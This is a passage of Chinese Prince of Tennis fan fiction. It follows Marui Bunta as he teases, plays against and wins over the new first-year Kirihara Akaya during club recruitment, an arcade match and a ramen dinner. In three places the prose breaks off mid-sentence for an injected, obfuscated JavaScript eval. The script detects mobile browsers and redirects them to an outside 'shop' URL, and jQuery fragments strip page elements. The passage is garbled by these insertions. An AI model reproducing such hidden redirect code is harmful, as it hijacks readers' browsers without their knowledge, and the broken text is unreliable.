当那双大而明亮的紫色眼眸因注视而凑近过来的时候,与他对上视线的男孩不太自在地缩了一下肩膀,含糊地说了句“我没事”,目光很快躲闪开来,但他似乎还没迟钝得彻底,很快意识到丸井文太拯救他的动作太过轻松,当即发出“啊”的一声大叫。 “我的鞋带……该不会就是你干的?!” 在他面前演技极佳的学长眼中掠过一丝狡猾笑意,却故意装作没听懂的样子眨了眨眼睛,鼻子里轻轻发出“嗯?”的一声,用一种很难让人对他发火的友善神情凝视过来。 于是笨蛋学弟很快又被丸井文太不费吹灰之力耍得团团转,一会儿着急恼火,一会儿又疑神疑鬼,脸上很快浮现出怀疑人生的表情。 下午3点,课程结束以后就是社团活动时间。由于学生会及各委员会都会在开学第一天召开会议并部署工作,风纪委员会的真田和柳生、美化委员的幸村、学生会的柳,都打了招呼将晚一些再到网球部出勤,而社团的迎新工作自然就落到了其他三年级学长以及丸井文太头上。 “杰克你不也是生物委员吗?不需要去开会吗?” “我这边的工作主要是饲养兔子和鸡,和其他人轮值的排班表早就定好了,还是网球部这边更需要我帮忙。” “哦哦,那帮大忙了……” 丸井文太笑了笑,与杰克一同将视线投向网球部球场门外。招新处前早已有新生大排长龙,那盛况比他们入学时还要热闹得多,更有人还没排到队,就已三五成群地议论谈笑,眉飞色舞地谈论着立海网球部的深厚底蕴和历年辉煌战绩。 他简单提醒了几个只顾说笑的人排好队,维持好秩序后,便走到了一旁,只在偶尔用状似不经意的视线观察着那些新生。 “招新情况如何?”他问发小。 “是去年的三倍左右。”杰克手里拿着一份登记表,粗略地扫了一眼上面的名字。 “但是,看起来并没有多少真心想要加入我们的家伙啊。”丸井文太随意道。 很显然,在场有许多人都是被立海去年取得全国优胜的成绩吸引而来。他识人向来精准,从许多人的神情里都看不出对网球本身的热忱,反倒是那种不知深浅就想来凑热闹和出风头的新生比目皆是。以网球部的日常训练量来看,这些人能不能坚持满一个月还很难说。 在这个时候,丸井文太玩笑地心想,他反倒觉得那个今早站在校门上宣称要成为网球部No.1的海带头小子诚意最足。只是不知那个状况百出的家伙是不是又被什么突发情况绊住了手脚,即便丸井文太始终若有所思地环顾四周,直到所有新部员登记完毕,他也没瞧见对方的身影。 38.File 37 切原 “我们打网球比较常见的握拍方式有大陆式握拍、东方式握拍、西方式握拍和半西方式握拍四种,接下来我来示范一下动作,你们照着做。什么?让我说说这四种握拍的优劣?呃,基本就看手感吧。挥拍时能感觉到‘咻——咻——’声的就是最好的,如果是‘哗——哗——’声就不太妙。所以不用纠结,后面练习的时候慢慢就能凭感觉选择出最适合自己的握拍方式……啊痛!” 事实证明,球技天才绝不等同于教学能力天才。自以为讲解得很简单易懂的丸井文太很快被学长从身后用球拍轻轻拍了一下脑袋,随后就撅着嘴被毫不留情地赶出球场,让他站在一旁观摩什么叫作深入浅出的新手教学。 “指导别人这方面还是柳那种理论派比较在行啊。” 红发的小学长把双手搭在脑后,用自言自语的音量嘀咕道。 丸井文太是不折不扣的体验派,无论是对击球时机把握,还是精细操作的技巧,都是凭借天生的灵敏直觉以及千锤百炼的实践磨合而成。也就是说,尽管身体已经完美地掌握了诀窍,他却很难从中提炼出可供他人参考的理论说明,顶多似是而非地形容一下,那还不如跟人面对面打一场指导赛来得有效率。 不过网球本身也是考验天赋的一种运动,零基础的新手要达到能完整打完一场比赛的水平,至少需要数月的入门学习,有些悟性差的人甚至练习半年都掌握不了发球,因此能接受指导赛的人本身也需要具备一定实力。 无所事事的丸井文太将一粒青苹果味的口香糖丢进嘴里,嚼了嚼之后吹出一个漂亮的泡泡。他没耐性在一个地方安分待太久,在场边旁观了一会儿学长指导新人的戏码,很快就踮起脚尖悄悄溜走。 杰克此前已将招新处剩下的运动服搬运回部室,刚巧在走向网球场的路上,文太发现他的身影,便朝对方跑去,想和他一起找个地方单独做拉球对练。 恰逢此时,一个急急忙忙的身影闯入二人的视野,模样也颇为眼熟,正是那个早先在校门口吸引了众人注意,又在新生欢迎会上被丸井文太捉弄,最后引发了一场大骚乱的新生。 漆黑的乱发,湖绿色的大眼睛,肤色比一般人白皙许多,脸庞生得稚嫩可爱,可惜在那副莽撞慌张的表情衬托下,显得有些不够机灵。 “哇哦,果然出现了。” 文太双眼一亮,当即兴致勃勃地绕背到对方身后悄悄靠近,同时在身后勾勾手指,杰克便无奈地叹着气跟上他的脚步。 “真是的,到哪里去了……” 远远能听见那名一年生满腹牢骚的声音,对方似乎在找什么,眼睛盯着球场反复张望。 真是个脾气急躁的小鬼。 丸井文太弯起唇角,伸手点了点他的肩膀,然后趁对方疑惑转头的那一瞬,手指早有预谋地戳中了那张仍带婴儿肥的好看脸蛋。 “嗯?你做什么啊——” 新生被他悄无声息靠近的举动吓了一跳,反射性地后跳一步,抬目发现来人正是在迎新礼堂中戏弄了自己的学长,更是马上双手握拳,毫不掩饰地摆出迎战架势。 然而这种把所有心思都写在脸上的小朋友又怎能玩得过十分擅长交际手腕的丸井文太? “你要找的应该是这个吧?” 丸井文太对他眼中的戒备视若无睹,只是拿出一张纸在对方面前晃了晃,果然小朋友先是下意识念出上面“入部申请书”的标题,随后一双湖绿眼睛骤然绽放出期待光彩,单纯快乐的模样就跟他和杰克在公园里逗弄过的幼犬一模一样。 “啊——就是这个!”他兴奋道,意识到文太脸上的笑容当真是发自内心的友善,而且对方也相当欢迎他加入网球部,立刻把原先浮现脸上的怀疑戒备都抛到九霄云外,伸出拇指比向自己,摆出小孔雀一般的骄傲脸庞,洋洋得意道,“我是一年级的切原赤也,是立海大附属中学的超级新生,传说中的切原就是我!” 这家伙实在太有趣了。 丸井文太忍不住笑了起来。 还是杰克看不下去文太光顾着逗弄新人,担心耽误了对方的入门练习,开口指引切原先去部室换衣服。 未曾想这位一年级学弟的嚣张程度远超他的想象。 只见切原湖绿色的眼珠轻轻移转,视线从文太身上移到杰克身上的那一瞬间,他眉梢下压,露出一个桀骜不驯的锋利笑容,张口便声称要和网球部中最强的选手比赛。 他那锋芒毕露的凌厉眼神激得杰克微微拧起眉头,下意识地正视对方,然而丸井文太的笑容依旧,仍是用饶有兴趣的眼神打量切原赤也。 以一年级的身份挑战立海网球部的主将并取得胜利,此等伟业在他刚入学时便已亲眼见过。但在幸村君将立海带往鼎盛,王权早已固若金汤的当下,奇迹能够轻易再现吗? 在他准备开口之前,球场那边结束指导的三年级学长们也被文太这里的动静吸引了过来。切原一见他们的模样,当即表现得惊喜交加,从球包中掏出一本去年的网球杂志,看了看上面刊登的立海夺冠合影,又看了看照片中出现的学长,兴奋地向他们提出邀战。 学长们被他稚气未脱的雀跃模样打动,欣然应允。 然后,无一例外地败于切原赤也手下。 惊讶过后,丸井文太收敛了轻松玩笑的表情,目光扫过学长隐藏在外套长袖下方的手腕。 虽说和新人比赛时没有摘去负重,或许还要加上大意轻敌,但车轮战下来还一场都没有取胜,这可不是简单的反省和罚训就能解决的问题。 他看向场中还一脸意犹未尽的切原赤也。 根据网球部的规定,挑战者打败校队正选,就能取而代之。麻烦的是,目前三位学长中有两名为现役正选,一名为后备队员,切原一次性将他们全部打败,两位正选学长中的谁将被淘汰,这就成为一个比较难办的事项。 当然,最棘手的问题还不在这里。文太心想,他该怎么在幸村君到来之前收拾好这场混乱呢……是让杰克摘掉护腕和切原比赛,还是自己上场? 就在丸井文太在省力与省时之间权衡,感到举棋不定时,结果偏偏事与愿违,他还没决定好该如何行动,幸村精市的声音就先一步从球场门口传来。 “那边在吵什么?” 和不明状况而呆愣在原地的一年级新部员们不同,附近围观的二、三年级部员听见幸村的声音,当即默契地后退一步,如摩西分海般让出一条供部长通行的道路。 倘若留心观察,就能从他们这番无须言语的行动中感受到,幸村精市在网球部的威信是何等强大。 然而切原赤也不愧是扬言要成为No.1的新人,看见幸村和在他身后的真田与柳,以及三人气势不凡的登场,仍是凭着初生牛犊不怕虎的劲头出言挑衅。而他的下场也是不出文太所料,很快便被立海三巨头打得落花流水,输得毫无还手之力。 这也是理所当然的结果。本来双方的基础素质就存在天壤之别,更别提那三位的技术都经过了千锤百炼的打磨,并在经年累月的练习中不断精进,哪怕放眼全国,他们都是最顶级的强者。 眼见输懵了的小朋友孤零零一人跪在球场上,眼里渐渐蓄起了泪光,丸井文太心中不忍,小跑到球场打算扶起对方。 “喂,你没事吧?”他担心地问。 “呜……真烦人!!!” 在文太手指即将碰到切原的前一刻,肩膀耸动的男孩猛地一挥手,手中的球拍当即当头朝他砸来。 文太被切原这突如其来的举动吓了一跳,眼睛睁大,反射性地后倾身体避开了这迎面一击。 接着他还没来得及开口说话,切原便不管不顾地扔下自己制造的一堆混乱,闷头冲出了网球场。 “啊……走掉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833128|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”文太无奈,面上非但毫无怒色,反倒是流露出些许遗憾。 跑走的学弟还没把入部申请交到他手里,丸井文太心里挺中意他的,不知道对方明天还会不会来网球部呢。 球场上的幸村等人均不动声色地观望着切原离去的身影,从增强校队实力的角度来看,他们自然也期待着拥有正选实力的新人加入。不过对方桀骜不驯的个性也实在不好应付,他们交换了一个眼神,打算暂时静观其变。 “今年的新人很恶劣呐。” “没参加委员会,还偷懒到现在才出现的仁王才更恶劣吧。” 丸井文太没有回头,却很娴熟地跟背后悄然出现的仁王雅治开起玩笑。 耳旁传来一声哼笑,不知何时来到球场的银发少年插着兜走到他身旁,浅绿色眸子轻轻扫过丸井文太毫无异样的脸庞,随意道:“我不擅长教人。球场上全是新生……就算早来也没法好好练习。” “别把责任都推给别人啊,你只是不想做吧。”文太不太高兴地抱怨了一句,又很小声嘀咕了一句什么,似乎在埋怨他明明可以模仿学长的教学方式。 仁王知道他其实压根没有生气,就连被那名新生没轻没重地袭击时也是如此,心胸宽广到甚至让人有些替他担心的地步。 这样想着,仁王意味深长地弯起唇角。 一旦他露出这样的笑容,唇边的小痣也会跟着移动,哪怕在仿佛与生俱来的慵懒气质中,表情也显得有些狡猾。 “绝技当然是要在关键时刻才使用,不是吗?” 部中最注重拿捏时机的丸井文太闻言,轻轻横了他一眼,眼神好似在谴责一个歪门邪道,俨然是很不乐意仁王雅治把如此合他胃口的发言用在狡辩这种事上。 网球部被切原赤也一通大闹之后,天边已是日影西斜。部长幸村看时间差不多,便召集所有人在场中集合,让真田简单强调了几句部内纪律,又说明了明日的出勤时间,便干脆利落地宣布今日社团活动结束,大家可以去部室换衣服回家了。 “反正还早,等下去卡拉OK怎么样?” 丸井文太穿上衬衣,一边打领带一边跟自己旁边杰克·桑原说话,可只有两个人唱歌也太冷清了,他立刻又扭头询问其他人。 校队的学长纷纷摇头——他们今天输了比赛,心情有些沉重,打算回去复盘,便婉拒了丸井文太的邀请。 仁王雅治也是照例说了“Pass”,不过丸井文太觉得他每次推脱的借口都挺有意思,每回都勉为其难地坚持听上一听。 仁王说:“今天和柳生约好了放学后一起去剧场看话剧。” “演的是什么?”文太好奇。 “莫里哀的《伪君子》,一个教会骗子的故事。” 真的假的?丸井文太无语,这剧名和主人公……是不是该说对他俩挺有讽刺意味的? “仁王同学的品味还是一如既往地特别啊。”他道出一句高情商的评价。 听懂他潜台词的仁王雅治轻笑一声:“呵呵,多谢夸奖。” 既然卡拉OK没组成团,最后文太决定跟杰克一起去游戏厅放松一下。他们学校附近有开一家游戏中心,在立海的学生中很受欢迎。 说来也巧,当丸井文太踏入店中时,他随意将目光扫过一排排机器,很快被附近一个操作粗鲁的海带头男孩吸引了视线。 且不提对方先前在网球部大闹一场的事迹给人留下了深刻印象,在各种机缘巧合之下,丸井文太一天之内竟然遇见了这个我行我素的学弟整整四次,连他自己都忍不住感慨,他和切原赤也缘分不浅。 “他是……” 杰克刚要开口,就见面前的红发少年把食指抵在唇前“嘘”了一声,狡黠的眸光流转,脸上很快露出一个正在盘算着什么的笑容,轻轻指了指切原视野死角处的一条路,然后拽着杰克悄悄绕了过去。 39.File 38 亲和 切原赤也打游戏的时候也秉承他直白的个性,游戏ID是他本人的名字“赤也”,非常单纯,完全省去了丸井文太需要费心寻找对方的功夫。 屏幕的亮光映照着他浮现出微笑的脸庞,在杰克的旁观下,他输入密码登录了自己的游戏账号,并将使用角色调整为一个注重敏捷和攻速的女英雄,入场动画被快进结束后,文太的游戏ID也显示在游戏头像下方。 ——文文。 幸村君都说过他这个网名很可爱呢。 丸井文太在需要高速反应和精准操作的实践领域具备非凡才能,这是网球部参谋柳莲二都确认过的事实。这般天赋运用在游戏中也是无往不利,加上他心思细密,兼具惊人的判断力和时机把握能力,面对切原赤也的一通猛攻,他手上闪避操作拉满,乍一看被打得抱头乱窜,毫无还手之力,实则血条压根没有下降太多,而且不仅如此,丸井文太已经算好了切原赤也的技能循环,在对方所有大招进入冷却的瞬间,他立刻一套杀机凛冽的连招上阵,专挑对方难以还击的身位下手,一波直接带走切原赤也所有剩余血量,尽显杀伐果断的机会主义本色。 “可恶!到底是谁啊,那个叫文文的家伙……” 对战结束后,机器另外一边很快传来切原赤也气急败坏的声音,看起来似乎都打算找他来场线下决斗了。丸井文太心下好笑,暗想这倒也不是不行,于是痛快起身,出现在对方面前。 “你找的人就是我哦。” 他笑眯眯地将食指对准自己,果然看见切原赤也整个人呆了一下。 再度出现于对方面前的文太似乎被当成网球部派来的劝降说客,小朋友立刻鼓着腮帮子,双手抱胸,摆出一副绝不屈服的强硬姿态。 “先说好啊,我是绝不会加入网球部的!” 在他别过脸的时候,文太与杰克对视了一眼。杰克对他极不客气的说话方式面露不快,却很快被文太用眼神安抚下来。 丸井文太的脸上很快又扬起笑容。以他的细心,怎会看不出切原那显而易见的口不对心? 早上还在校门口吵吵嚷嚷地说要加入呢,其实还是在向往吧,所以才一见面就说起网球部的话题。 只是对这不知天高地厚的小鬼来说,惨败给幸村君他们的结果无疑给了他极大的打击,切原赤也的自尊心在阻碍他开口求和。 丸井文太压根没将对方一目了然的闹别扭放在心上,伸手揉了揉学弟一看就很柔软的乱发,他可是看见这家伙第一眼开始就很想这么干了,一边享受着那柔软的触感,一边用玩笑的语气说道:“什么啊,你还在介意比赛输了的事吗?” 脑袋被揉得晃来晃去的切原赤也露出很不高兴的表情,但他推开丸井文太之后却并未像之前在网球部那样跑开,而是带着不服气的表情问说:“我说啊,那几个二年级的人究竟是何方神圣?” 没见识的新人。 杰克·桑原向他投去居高临下的视线:“和你比赛的人是……” 他正要说明立海三巨头的身份,刚一开口,肩膀就被丸井文太轻轻推了一下。 要是现在就满足了切原的好奇心,这家伙恐怕很快又会跑掉。 文太给杰克递了一个眼神,暗示发小把主导权交给自己。 况且谈话得有合适的氛围,游戏厅里音效嘈杂,可不是能让人卸下心防的好地方。 “哎呀,这里站着说话也不方便,我们一起去吃拉面吧。” 他用一个自然又合理的借口打断了杰克的回答,同时还以热情的口吻发出邀请。 没能得到答案的切原被吊住了好奇心,他撅起嘴巴,用夹杂了戒备的眼神扫过文太的脸庞,表情中写满了犹豫。 丸井文太察言观色的眼力超强,心说那就再给点甜头推他一把,手上拍了拍杰克的手臂,爽快道:“来吧,请你吃饭啦……由杰克请客!” 冷不防又被他压榨零用钱的杰克嘴角抽搐:“喂,又是我啊?!” “嘿嘿。”丸井文太狡黠一笑,飞给他一个吃定他的可爱眨眼。 切原赤也愣愣观望着眼前二人耍活宝似的玩闹对话,不由自主心想:奇怪的学长们…… 不可思议的是,切原赤也稀里糊涂地就接受了对方的提议。 拉面店里充斥着柔暖的灯光,温暖的室温与浓郁的拉面香气萦绕在周身,还有来自陌生学长的热心关切,在不知不觉间就消融了他来到新学校以后所经受的一切挫败:零分的英语小测,老师的留堂罚抄,还有想在网球部大展身手却出师不利的打击…… 他捧起大碗,连汤带面吃得十分痛快,浓郁的汤汁经过舌头,留下醇厚的滋味。 丸井文太单手托腮,眼睛凝视着面前举止幼稚的后辈,唇边带着淡淡的微笑。 真是跟他家弟弟似的小孩性子,给点好吃的东西就能哄好,这点难搞程度对于他天才丸井文太大人来说,应付起来自然绰绰有余。 他趁吃面的时机有一搭没一搭地跟切原说话,把话题拿捏在轻松而且令人舒适的节奏中,很快就摸清了对方的底细。 立海一年D班的切原赤也,从神奈川二小毕业,也算是柳莲二的直属后辈了。 他曾在神奈川地区JR大赛中取得优胜,是幸村精市升学后的下一届U-12级别赛事冠军,难怪一入部就敢喊着要成为No.1。 去年夏天,切原听说了立海网球部取得全国优胜,于是决定入学这边,为此他拼命用功读书,期间甚至戒掉了平时最为热衷的游戏,费了九牛二虎之力才考进立海。 而这所有的付出,都是为了加入全国第一的网球部,然后击败全国最强的网球选手。 其实听到这里的时候,丸井文太已经心想,看来不用他再多做什么了。 “所以说啊……刚才的对战输给你是因为我手生了,下次我一定击溃你!” 切原赤也嘴里嚼着面条,仍在嘟嘟囔囔地辩解他刚才输了游戏PK的原因。丸井文太时不时“嗯嗯”地应和着,压根没往心里去。 反正他并不在意游戏胜负,而且他保证对方也听不出他的敷衍。 丸井文太向来擅长把谈话聊得气氛融洽,有了这些闲言絮语作为铺垫,随后才用娓娓道来的语气把立海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836996|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三巨头的事迹讲给切原听。他期间不着痕迹地哄了学弟两句,对方的情绪果然平静许多,不再像只应激的小刺猬似的竖起尖刺,脸上的消沉神色也很快褪去,重新打起了精神。 “我才不管什么三巨头,反正我会将他们都打败的!” 他大声撂下这句话,而后就背起球包跑出面馆。 “他是认真的?”杰克有些错愕切原那不服输的劲头,先前的比赛难道还不够证明双方实力悬殊吗? “哈哈,有目标也不是坏事,对吧?” 丸井文太轻快地笑了一下,头顶晕黄的光线透过睫羽,沉稳的神情里透着一丝乐观的期待,然后他轻轻眨了眨光泽明亮的紫色眼睛,抬手冲厨房的老板喊道,“店长,再来一份煎饺和炸鸡块谢谢!” “好嘞——”老板高声回道。 “喂文太,你吃太多了吧。”杰克顿时汗流浃背。 “没关系的,我会分你一块!” “你这家伙……本来就是我付钱吧。” 其后一连数日,切原赤也都没有再出现在网球部。由于他始终没提交入部申请,自然算不上网球部的正式成员,开学那日输给切原的学长们依旧保留着正选席位。尽管如此,曾被新生打败的经历还是让他们日夜警醒。 近日柳莲二也大幅调整了部内训练赛的对阵安排,随着正选与后备成员的比赛频率大幅增加,充斥着火药味的氛围也是日益浓厚。 对体育社团而言,春季学期开学后,大家就要迎来本年度的赛季了。赛程从5月的湘南地区预选赛开始,6月是神奈川县大会,7月是关东大赛,8月则是全国大赛。立海的作风本就是以压倒性的实力击溃对手,能在这些对外赛事中登场的,自然只有校队正选。 在总共五、六十人的网球部员里,唯有8人能够拿到出赛资格,竞争可以说是相当激烈。 但哪怕在愈发紧张的氛围中,丸井文太那轻松上场的表现也是始终如一。 不管心里打着什么算盘,他在比赛中向来能摆出一副游刃有余的扑克脸,那副装腔作势的漂亮笑容背后,藏着的是极度擅长审时度势的冷静心性,看似吊儿郎当,总漫不经心地吹着口香糖泡泡,可自从进入校队,就一直是难攻不落的正选。 为人亲切是他的特色,丸井文太喜欢与人相处,也擅长融入人群。他在任何场合的交际中都能应付自如而且毫不费力,就像呼吸一样自然地照顾旁人的情绪,比起出于希望被对方喜欢才付出,他的关怀是日常生活中的自然流露,不带目的,言行间毫无架子,所以没多久,就连新入部的一年生都爱围着他叽叽喳喳。 虽说丸井文太的指导水平向来以“抽象”闻名,也完全不影响他好得离谱的人缘,与人交往的距离感也近得出奇。 有回仁王路过附近,恰巧远远看到文太又被一群新人围在中间,他斜过视线,瞥向正好在身旁的杰克,眼神里带着几分说不清的深意,突然开口感叹道:“杰克你也真是心胸宽广呐——” “咦,什么?为什么突然夸我?”心地单纯的巴西人听得一头雾水,满脸迷茫,脑子里全是问号。 40.File 39 斗牛 一转眼已经半月过去,网球部的大多数人已经淡忘了切原赤也在开学那天引起的风波,全身心投入到网球部紧张有序的训练节奏中。 但在部活结束后,校队正选那边仍时不时聊起那个给人留下深刻印象的超级新人。大家都已亲眼见证了切原赤也的实力,这么个潜力极大的一年生,万一因为立海三强的打击而放弃网球……不仅对网球部来说是个极大的损失,对切原赤也自身来说,也是埋没了他难得一见的天赋。 和听闻议论后心思日益浮动的真田不同,幸村近日在晨训时见过切原,对他站在远处紧盯网球部的执拗眼神印象深刻,因此一直稳坐钓鱼台,耐心地等待着切原再度挑战的那一天。 丸井文太私底下也和幸村精市聊到这个特别的新人,谈话中分享了很多自己知道的信息,同时还报告了一个目击情报,说他和杰克时常能在七里滨的海堤上看到切原赤也独自特训。 “我猜想……他应该是打算再找机会跟幸村君比赛吧。”文太吹着泡泡说。 “呵呵,那我很期待哦。” “要把这件事告诉真田吗?他好像最近一直担心自己把切原打击过头了。” “嗯,我找机会开解他一下。”幸村说,“但我感觉……其实他自己应该也能隐约感受到吧。切原对胜利的贪欲,还有那种不服输的劲头和真田是很像的。” 文太听着忍不住笑了,促狭地打趣道:“幸村君这样说得好像有点事不关己哦。是因为没输过,所以不存在不服输吗?” “不可以吗?”幸村同样用狡猾的语气回应,就像文太最爱做的那样,他浅笑着轻眨单眼,纤长的睫羽扑闪出美丽光彩,从容自若道,“但我对胜利的贪欲也是永无止境的。” “哈哈,那简直是最棒了。” 切原赤也非常适合立海网球部。 准确来说,是非常适合由幸村精市统领的立海网球部。 在他经历半个月的魔鬼特训,再度挑战立海三强却依旧败给真田之后,切原终于肯低头屈服,决定通过加入网球部的方式来继续精进自己的球技。不过明眼人都看得出来,他就像一头野心勃勃的幼狼,从未放弃成为最强的决心,对胜利的执着纯粹到近乎邪恶的地步。 或者那也是另一种层面上的天真无邪? 这么认为或许有些一己之见,但丸井文太从切原赤也的眼神里,看到了一种时常被幸村精市掩藏在柔和微笑背后,却始终存在的东西。 部内的训练赛向来秉持势均力敌的准则,柳莲二不会将实力悬殊的球员凑在一起,那对双方都毫无裨益。切原赤也入部后的起点是准正选的培养规格,平日和他比赛的几乎只有正选,不过那家伙是个只在自己热衷的领域才具备高度集中力的粗神经新生,本人似乎从未注意到自己的特殊待遇。 丸井文太单手插兜站在球场底线,一根食指抵着球拍底部旋转,太阳光线在他脸庞照出一片亮色,暖红刘海在沉静的紫眸上投下影子。他目光轻轻移转,将观察与思索都藏在纤长睫毛遮蔽的眼眸深处,却在望向球网对面的切原赤也时浮现出微微笑意。 观战的杰克下意识开口:“真少见,文太认真了。” 在他旁边的柳生刚想说丸井君的护腕还没摘下,只见场中红发少年的脚步已向前迈出,球拍如风驰电掣般从半空挥出,以低位截击迅疾而精确地拦下钉准他踏出步伐的一球,同时趁机再次上前一步,将回球锚向切原的身后。 照理说以切原赤也的速度是无法追上他那一球的,但这才能不凡的新人在丸井文太出手一瞬就判断出了落点,单脚跳跃的瞬间一并迈出脚步,硬是利用他优越的步法夺得了一步半的身位。 而且他在追到球以后,继续采取的策略仍是进攻,网球如炮弹般飞出,其势头犹如层层涌来的怒涛,携着粗暴的劲风,直奔丸井文太那扬起灿烂笑容的脸庞。 “真是个只会一头蛮干的小鬼,让人忍不住热血沸腾……”他眼里闪动着兴致盎然的光芒,随着斗志逐渐高涨起来,忽然故意提高音量大声挑衅,“有本事你倒是打中我啊——?!” 高喊同时与球拍激烈相抵的网球在拍线上疯狂摩擦,“呲啦啦——”地发出震颤响声,在耳膜上剧烈撕扯,掀起的厉风摆荡开来,吹乱文太额前的发丝。 他在风中紧紧盯着切原赤也透着执拗的湖绿色瞳仁,只觉得那双眼睛像是冷血野兽般溢出了极漂亮的光。 一股冰冷的战栗顺着丸井文太的后脊窜到头顶,撩拨着他节节攀升的激昂战意。 丸井文太具备过人的反射神经,作为专攻网前截击的攻击选手,是不折不扣的前锋型角色,绝不会惧怕任何快球,反而是能在高速攻防的节奏中如鱼得水。隔着一道球网,他笑容中锐气毕现,化作手中技术精妙的截击,在步步为营的防守反击中展现得淋漓尽致。 手法干净利落,不会错过任何时机,招招式式都透着凛冽杀机。 “可恶啊啊啊——” 切原其实跟文太打快球打得很爽,但许久无法攻破对方防线的事实还是令他忍不住咬牙切齿,更别提还被这个恶趣味的学长屡次当面挑拨了。他素来脾气暴烈又不擅长忍耐,上头以后更是手上开始没轻没重,接下来几球简直都带有几分泄愤的怒气。 这正中了丸井文太的下怀。 他从先前切原赤也那几场比赛就能看得出来,这家伙天赋绝佳,而且出手自有一番咄咄逼人的狠绝作风。最初那几位三年级学长与他对阵,往往在才开场就被他盛气凌人的气势压倒。比赛是很考验选手状态的场合,气势一旦落于下风,要夺回主导权就需要付出成倍的力气。切原赤也所擅长的速攻打法正是以累积自身优势见长,利用源源不断的进攻破坏对手节奏,压根不会留给学长重振旗鼓的机会。 然而他的缺陷也很明显,就是打球时有个相当恶劣的嗜好。 虽然利用追身球威慑和扰乱对手动作是一种相对常见的作战计策,但丸井文太看得很清楚,那家伙的球绝对是对准他身体打的。 所以反击的契机也在此处。 和宽阔的网球场相比,在场中奔跑的选手就非常渺小,反过来说要瞄准一个人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841514|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体,能打的球路就非常受限。而一旦他能够准确预判对手的击球落点,可供选择的应对策略就能大幅增加。 加上丸井文太同样擅长攻击,非常善于扰乱对手比赛节奏,他能够游刃有余地在这刀尖起舞般的危险局面中抓住节奏,甚至时不时还能再用言语撩拨切原赤也一下,结果整场比赛下来,他打得酣畅淋漓,场面让人目不暇接。 “真有精神呐——” 仁王雅治被那边动静吸引了注意,不但把手搭在额前充当遮阳的挡帘,还看热闹不嫌事大地笑出了声。 “喏,幸村。你看丸井那边,像不像是斗牛表演?” 他拍拍幸村精市的肩膀,然后伸手指向球场 红色的是丸井文太的头发,他不断在网前左右移动,如同斗牛士挥舞红布进行挑衅一般,而如同公牛般被吸引着左冲右突、红着眼睛猛攻的,自然就是脾气单纯的一年级新人切原赤也了。 柳莲二不让他跟正选以外的部员进行比赛的原因也在这里。切原赤也球风较为粗鲁,对新手极不友好。不过,对于同在校队的正选队友,这些极少数能代表立海网球部参加外战的上位圈部员,参谋就没有那么心慈手软了。 会在比赛中受伤,只能证明自身实力不足,外面的赛事环境可不是绝对安全的温室,对手的打球风格也是各不相同。考虑到遇到极端情况的可能性,最佳的应对策略就是把自身锻炼到能够以压倒性实力摧枯拉朽,让对手没有可趁之机的程度。 立海网球部追求毫无死角的强大。 因为在竞技比赛中,菜是原罪,败者没有资格抱怨。 至于他们自身也显而易见的某些坏习惯,诸如丸井文太热衷在比赛中吃口香糖,还爱用言语挑衅、激怒对手;仁王雅治喜欢把对手的精神逼到绝境后,欣赏对方绝望的表情,真田弦一郎脾气太耿直不擅变通,柳莲二的求胜欲不够强烈,杰克在双打中总是把文太宠得太过,还有游离在部外的毛利寿三郎不认真对待比赛,新加入的切原赤也球风过于暴烈等等问题…… 这些都不奇怪。 可能有些人觉得他们对此毫不在乎的表现过于目中无人,但其实立海队员对此抱有一种无论敌我都一视同仁的理性宽容。 外面的世界遍布荆棘,而实力足够强韧的他们,自然也成了别人的荆棘。 因为仁王将切原和文太的比赛称为斗牛的形容太生动,幸村差点就忍不住也笑了出来。 “嗯……倒也不能说是不像吧。” 他勉强维持着矜持的语气,似笑非笑着道出一句委婉评价,然后立即把皮球踢给身侧的副部长真田弦一郎。 “真田,你觉得呢?” 被幸村用揶揄语气搭话的真田闻言,一眼扫过那边吵闹万分的球场。他望着双方都颇为胡作非为的活泼画面,很快又淡淡地别过脸去,动作颇有几分眼不见为净的味道,轻声回答:“他们都太松懈了。” 话虽如此,以他眼里揉不下沙子的个性来说,没有否认就代表认同,没有斥责就代表了纵容,这是大家都心知肚明的事实。 41.File 40 外卖 切原赤也加入网球部没多久,他那大大咧咧的处事风格就给其他人留下了深刻印象。 时间观念很弱,经常因为睡过头迟到晨训;方向感也不太行,在校内都能迷路,时不时会在需要去移动教室的课程中闯入高年级的教室;上课不怎么认真,平时的课堂小测试和作业似乎也做得马马虎虎,因此总是被老师留堂导致下午的部活迟到…… 那些林林总总的小毛病暴露出了切原赤也的性格本质,那就是对纪律的轻视。 